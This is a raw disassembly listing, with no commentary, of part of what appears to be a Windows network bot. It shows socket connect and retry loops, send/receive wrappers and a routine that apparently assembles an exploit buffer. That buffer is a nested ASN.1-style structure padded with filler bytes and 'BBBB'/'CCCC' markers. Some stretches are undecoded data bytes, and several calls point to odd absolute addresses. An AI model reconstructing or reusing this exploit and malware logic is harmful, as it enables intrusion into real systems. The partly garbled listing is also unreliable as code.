		push	offset unk_43221C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C125
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40C4A3


loc_40C498:				; CODE XREF: sub_40C125+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4CA
		push	1Eh
		call	esi
		jmp	short loc_40C498
; ---------------------------------------------------------------------------


loc_40C4A3:				; CODE XREF: sub_40C125+371j
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321E4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40C4CA:				; CODE XREF: sub_40C125+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C429


loc_40C4D8:				; CODE XREF: sub_40C125+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C582
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4ED:				; CODE XREF: sub_40C125+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB7A0[eax*8]
		push	eax
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321A4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C125+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB7A4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33F
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C572
		push	offset dword_4CD7A0
		nop
		call	near ptr 2700000h


loc_40C572:				; CODE XREF: sub_40C125+440j
		push	[ebp+var_2C]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26F08BFh
		nop


loc_40C582:				; CODE XREF: sub_40C125+3B6j
					; sub_40C125+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB7A4[eax*8], 1
		jnz	loc_40C4ED
		push	7D0h
		call	esi
		jmp	short loc_40C582
sub_40C125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59C	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C65A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E59C[ecx], esi
		jz	short loc_40C65A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6E0
		push	eax
		mov	edi, offset dword_4CE164
		push	offset dword_432284
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A73
		push	edi
		call	sub_4151AD
		add	esp, 28h


loc_40C65A:				; CODE XREF: sub_40C59C+5Dj
					; sub_40C59C+7Ej
		push	esi
		call	dword_4CB6EC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59C	endp

; ---------------------------------------------------------------------------
byte_40C669	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+603Fo
		dd 134EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 4CBD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh
		dd 50004322h, 0F1D1E8h,	0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 90050000h,	500043E3h, 0EF1BE8h, 1CC48300h
		dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h,	0E8575700h
		dd 2293910h, 89C73B90h,	0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E890FC75h, 2274214h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
		dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h,	4CB650h
		dd 8D084589h, 46A0845h,	0E0458D50h, 0FBBEE850h,	0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)
word_40C75A	dw 8B55h		; DATA XREF: sub_401ACD+5D4Fo
		dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
		dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
		dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh
		dd 432300h, 0F0E0E850h,	858D0000h, 0FFFFFED0h, 1FF68h
		dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h
		dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
		dd 57570040h, 29381FE8h, 0C73B9002h, 74084589h,	0F87D390Bh
		dd 326A0675h, 0F5EBD6FFh, 900875FFh, 274123E8h,	8CB3FF02h
		dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
		dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h
		dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h
		dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
		dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C867	proc near		; CODE XREF: sub_40CADB+Ep
					; sub_40CADB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C867	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C871	proc near		; CODE XREF: sub_40CADB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A3
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A3:				; CODE XREF: sub_40C871+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AB	proc near		; CODE XREF: sub_40C9A5+18p
					; sub_40CA1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F7
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F7:				; CODE XREF: sub_40C8AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_40C9A5+5Ep
					; sub_40C9A5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C910
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C910:				; CODE XREF: sub_40C900+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C919	proc near		; CODE XREF: sub_40C9A5+20p
					; sub_40CA80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C946
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C94A


loc_40C946:				; CODE XREF: sub_40C919+Dj
		xor	al, al
		jmp	short loc_40C9A1
; ---------------------------------------------------------------------------


loc_40C94A:				; CODE XREF: sub_40C919+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C989
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C919+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C989:				; CODE XREF: sub_40C919+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A1:				; CODE XREF: sub_40C919+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CADB+89p
					; sub_40CADB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB50C
		call	sub_40C8AB
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DF
		xor	al, al
		jmp	short loc_40CA1B
; ---------------------------------------------------------------------------


loc_40C9DF:				; CODE XREF: sub_40C9A5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C900
		mov	al, 1


loc_40CA1B:				; CODE XREF: sub_40C9A5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1F	proc near		; CODE XREF: sub_40CA53+14p
					; sub_40CA70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA53	proc near		; CODE XREF: sub_40CADB+F0p
					; sub_40CADB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1F
		pop	esi
		retn	4
sub_40CA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40CABC+Bp
					; sub_40CADB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1F
		retn	8
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA80	proc near		; CODE XREF: sub_40CABC+16p
					; sub_40CADB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C919
		test	al, al
		jz	short loc_40CAB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFE0
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB9:				; CODE XREF: sub_40CA80+Fj
		pop	esi
		leave
		retn
sub_40CA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABC	proc near		; CODE XREF: sub_40CADB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA70
		test	al, al
		jz	short loc_40CAD7
		mov	ecx, esi
		call	sub_40CA80


loc_40CAD7:				; CODE XREF: sub_40CABC+12j
		pop	esi
		retn	8
sub_40CABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADB	proc near		; CODE XREF: ___:0040D362p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C867
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C867
		lea	ecx, [ebp+var_20]
		call	sub_40C867
		lea	ecx, [ebp+var_50]
		call	sub_40C867
		lea	ecx, [ebp+var_18]
		call	sub_40C867
		lea	ecx, [ebp+var_40]
		call	sub_40C867
		lea	ecx, [ebp+var_38]
		call	sub_40C867
		lea	ecx, [ebp+var_28]
		call	sub_40C867
		push	4
		push	offset dword_432338
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		push	3
		push	offset dword_432340
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		lea	ecx, [ebp+var_30]
		call	sub_40C9A5
		lea	ecx, [ebp+var_30]
		call	sub_40CA80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_20]
		call	sub_40C9A5
		push	offset loc_4326BC
		lea	ecx, [ebp+var_50]
		call	sub_40CA53
		lea	ecx, [ebp+var_50]
		call	sub_40C9A5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C871
		lea	ecx, [ebp+var_58]
		call	sub_40C9A5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABC
		lea	ecx, [ebp+var_58]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA53
		push	4
		push	offset dword_432344
		lea	ecx, [ebp+var_18]
		call	sub_40CA1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_18]
		call	sub_40C9A5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA70
		lea	ecx, [ebp+var_40]
		call	sub_40CA80
		lea	ecx, [ebp+var_18]
		call	sub_40C900
		lea	ecx, [ebp+var_50]
		call	sub_40C900
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA70
		lea	ecx, [ebp+var_38]
		call	sub_40CA80
		lea	ecx, [ebp+var_20]
		call	sub_40C900
		lea	ecx, [ebp+var_30]
		call	sub_40C900
		lea	ecx, [ebp+var_40]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_28]
		call	sub_40C9A5
		push	2
		push	offset dword_4326B0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA70
		lea	ecx, [ebp+var_28]
		call	sub_40CA80
		lea	ecx, [ebp+var_38]
		call	sub_40C900
		lea	ecx, [ebp+var_10]
		call	sub_40C867
		lea	ecx, [ebp+var_8]
		call	sub_40C867
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_28]
		call	sub_40C900
		push	offset dword_4326AC
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_4326A8
		lea	ecx, [ebp+var_10]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		push	offset dword_43269C
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	(offset	loc_432697+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CADB+1Bj
					; sub_40CADB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3D:				; CODE XREF: sub_40CADB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE41	proc near		; CODE XREF: sub_40CF05+A1p
					; sub_40CF05+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAC


loc_40CEA8:				; CODE XREF: sub_40CE41+54j
		xor	eax, eax
		jmp	short loc_40CEBC
; ---------------------------------------------------------------------------


loc_40CEAC:				; CODE XREF: sub_40CE41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB66C


loc_40CEBC:				; CODE XREF: sub_40CE41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40CF05+81p
					; sub_40CF05+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB650
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 4
		jz	short loc_40CEEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEEA:				; CODE XREF: sub_40CEC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB6A4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF05	proc near		; CODE XREF: sub_40CFDF+48p
					; ___:0040D453p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2E
		xor	al, al
		jmp	loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CF2E:				; CODE XREF: sub_40CF05+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4323D4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432404
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE36C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43234C
		push	ebx
		call	sub_40CEC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF96


loc_40CF92:				; CODE XREF: sub_40CF05+B5j
		xor	bl, bl
		jmp	short loc_40CFD1
; ---------------------------------------------------------------------------


loc_40CF96:				; CODE XREF: sub_40CF05+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF92
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		add	esp, 10h
		mov	bl, 1


loc_40CFD1:				; CODE XREF: sub_40CF05+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFDA:				; CODE XREF: sub_40CF05+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDF	proc near		; CODE XREF: ___:0040D439p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432410
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D01A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D01A
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01E


loc_40D01A:				; CODE XREF: sub_40CFDF+1Bj
					; sub_40CFDF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01E:				; CODE XREF: sub_40CFDF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF05
		add	esp, 0Ch
		leave
		retn
sub_40CFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: sub_40D07D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
